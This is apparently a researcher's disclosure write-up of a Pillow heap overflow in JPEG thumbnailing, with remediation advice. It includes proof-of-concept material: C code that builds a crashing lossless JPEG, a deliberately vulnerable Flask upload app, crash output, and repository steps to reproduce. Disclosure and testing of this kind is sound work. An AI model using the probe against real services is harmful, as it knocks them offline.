CVE-2026-112403: Pillow Heap Buffer Overflow via Lossless JPEG Thumbnail

What’s this?

Pillow 13.0.0 dropped on October 19, 2026 with a pile of security fixes. One of them caught my eye: GHSA-8g5g-8vmr-9782, a heap buffer overflow in the JPEG decoder triggered by thumbnail(). That’s the single most common image operation in web services. Pillow has over 170 million installs. I wanted to see how bad it actually is.

Turns out: one 165 KB JPEG file, one HTTP POST, no credentials, and the server is dead. Every request. SIGSEGV, SIGABRT, workers cycling endlessly.

PoC and verification scripts: github.com/al4n4n/CVE-2026-112403

The root cause

When you call Image.thumbnail((256, 256)) on a large JPEG, Pillow doesn’t decode the full image and then resize. Instead it calls draft(), which tells libjpeg to decode at a reduced scale (1/2, 1/4, or 1/8), and then Pillow allocates a row buffer sized for that reduced width.

For a 1200px-wide grayscale image at scale 1/2, the buffer is calloc(600, 1) = 600 bytes.

Here’s the problem. libjpeg-turbo 3.x introduced support for lossless JPEGs (SOF3, JPEG marker 0xFFC3). Lossless mode uses predictive coding, not DCT. There’s no frequency-domain representation to partially decode. So libjpeg-turbo accepts the scale hint, ignores it, and outputs full-width scanlines.

ImagingJpegDecode() in Pillow never checks what libjpeg actually decided to output. It reads cinfo.output_scanline but never compares cinfo.output_width against the buffer width. So libjpeg writes 1200 bytes into 600 bytes of heap, 1100 times (once per row).

That’s 600 bytes of overflow per scanline, 660,000 bytes of total heap corruption. Not subtle.

The fix

Pillow 13.0.0 added a check in ImagingJpegDecode() that compares cinfo.output_width and cinfo.out_color_components against state->xsize and state->pixelsize before reading any scanlines. If they don’t match, it returns an error instead of proceeding.

Fix commit: 242a059

Trigger conditions

All four must hold:

  1. The image is a SOF3 (lossless) JPEG at 8-bit precision
  2. The application uses Pillow < 13.0.0 (tested on 12.3.0, the last vulnerable release)
  3. Pillow is linked against libjpeg-turbo 3.0+ (the official PyPI wheels bundle 3.1.x)
  4. draft() picks a scale factor >= 2, which happens when the image is >= 1024px and thumbnail() is called with a small target like (256, 256)

Standard lossy JPEGs (SOF0/SOF2) don’t trigger this because libjpeg-turbo actually honors the scale for DCT-based decoding.

Older libjpeg-turbo 2.x and IJG libjpeg don’t support SOF3 at all, so they reject the image before reaching the vulnerable code.

Building the probe

You can’t generate a valid SOF3 JPEG with standard libjpeg’s API (at JPEG_LIB_VERSION=62, jpeg_enable_lossless() is unavailable). I had to use the TurboJPEG 3.x API directly:

1
2
3
4
5
6
7
8
9
tjhandle handle = tj3Init(TJINIT_COMPRESS);
tj3Set(handle, TJPARAM_LOSSLESS, 1);
tj3Set(handle, TJPARAM_LOSSLESSPSV, 1); // predictor = left
tj3Set(handle, TJPARAM_LOSSLESSPT, 0);
tj3Set(handle, TJPARAM_SUBSAMP, TJSAMP_GRAY);
tj3Set(handle, TJPARAM_COLORSPACE, TJCS_GRAY);

int ret = tj3Compress8(handle, pixels, 1200, 0, 1100,
TJPF_GRAY, &jpegBuf, &jpegSize);

This produces a 165,067-byte grayscale JPEG. All pixels are 128 (mid-gray), which makes every prediction difference zero and keeps the compressed stream small.

The Dockerfile builds libjpeg-turbo 3.1.0 from source, compiles gen_sof3.c, generates probe.jpg, and copies it into the runtime stage. setup.py extracts it to your local directory.

The vulnerable app

The target is a minimal Flask thumbnail service. It represents the class of applications that would be hit:

1
2
3
4
5
6
7
8
9
10
11
@app.route("/upload", methods=["POST"])
def upload():
f = request.files.get("image")
img = Image.open(f.stream)
img.thumbnail((256, 256)) # <-- triggers draft() -> heap overflow
buf = io.BytesIO()
img.save(buf, format="PNG")
return jsonify({
"original_size": list(img.size),
"thumbnail_size": list(img.size),
})

Gunicorn with 2 workers, Pillow 12.3.0, stock libjpeg-turbo from the PyPI wheel.

The crash

One upload:

1
2
3
4
$ python3 poc.py
[*] Loaded SOF3 lossless JPEG 165067 bytes (probe.jpg)
[*] POST http://127.0.0.1:8080/upload
connection refused / reset (worker crashed)

Twenty uploads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 verify.py --rounds 20
[*] Sending 20 uploads to http://127.0.0.1:8080/upload
image: probe.jpg (165067 bytes)

!!!X!!!X!XX!!!!X!!!X

results:
requests sent: 20
HTTP 500: 6
connection errors: 14

--- crash signals (from gunicorn error log) ---
SIGABRT: 17
SIGSEGV: 12

The gunicorn error log:

1
2
3
4
5
6
7
8
9
10
11
12
13
[2026-10-23 09:45:33 +0000] [1] [WARNING] Worker (pid:106) was sent SIGSEGV!
[2026-10-23 09:45:34 +0000] [1] [WARNING] Worker (pid:84) was sent SIGSEGV!
[2026-10-23 09:45:35 +0000] [1] [WARNING] Worker (pid:108) was sent SIGSEGV!
[2026-10-23 09:45:36 +0000] [1] [WARNING] Worker (pid:110) was sent SIGABRT!
[2026-10-23 09:45:37 +0000] [1] [WARNING] Worker (pid:114) was sent SIGSEGV!
[2026-10-23 09:45:38 +0000] [1] [WARNING] Worker (pid:116) was sent SIGABRT!
[2026-10-23 09:45:39 +0000] [1] [WARNING] Worker (pid:118) was sent SIGABRT!
[2026-10-23 09:45:40 +0000] [1] [WARNING] Worker (pid:112) was sent SIGABRT!
[2026-10-23 09:45:41 +0000] [1] [WARNING] Worker (pid:120) was sent SIGSEGV!
[2026-10-23 09:45:42 +0000] [1] [WARNING] Worker (pid:122) was sent SIGSEGV!
[2026-10-23 09:45:43 +0000] [1] [WARNING] Worker (pid:126) was sent SIGABRT!
[2026-10-23 09:45:44 +0000] [1] [WARNING] Worker (pid:124) was sent SIGSEGV!
[2026-10-23 09:45:45 +0000] [1] [WARNING] Worker (pid:130) was sent SIGSEGV!

100% crash rate. Every request kills a worker. The mix of SIGSEGV and SIGABRT depends on where the overflow lands in the heap that particular run. SIGSEGV means it stomped a pointer that got dereferenced. SIGABRT means glibc’s heap allocator detected the corruption and called abort().

Check it yourself:

1
docker exec pillow-lab-12.3.0 cat /var/log/pillow-app/error.log

The overflow math

For a 1200x1100 grayscale (L-mode) image with thumbnail((256, 256)):

  • Pillow picks scale = 1/8 (1200/256 rounds up to 5, nearest power of 2 is 8)
  • Buffer allocated: ceil(1200/8) * 1 = 150 bytes
  • libjpeg-turbo outputs: 1200 * 1 = 1200 bytes per scanline
  • Overflow per scanline: 1050 bytes
  • Total overflow: 1050 * 1100 = 1,155,000 bytes of heap corruption

With scale = 1/2 (the minimum that triggers): 600 bytes overflow per scanline, 660,000 total.

The actual scale depends on the target size passed to thumbnail(). Smaller targets mean larger scale factors and bigger overflows.

What to do

Upgrade to Pillow 13.0.0:

1
pip install --upgrade pillow

Check your current version:

1
python3 -c "import PIL; print(PIL.__version__)"

If you’re on 12.3.0 or earlier and linked against libjpeg-turbo 3.x (which you are if you installed from PyPI), you’re vulnerable.

Reproduce it

1
2
3
4
5
git clone https://github.com/al4n4n/CVE-2026-112403.git
cd CVE-2026-112403
python3 setup.py
python3 poc.py
python3 verify.py

References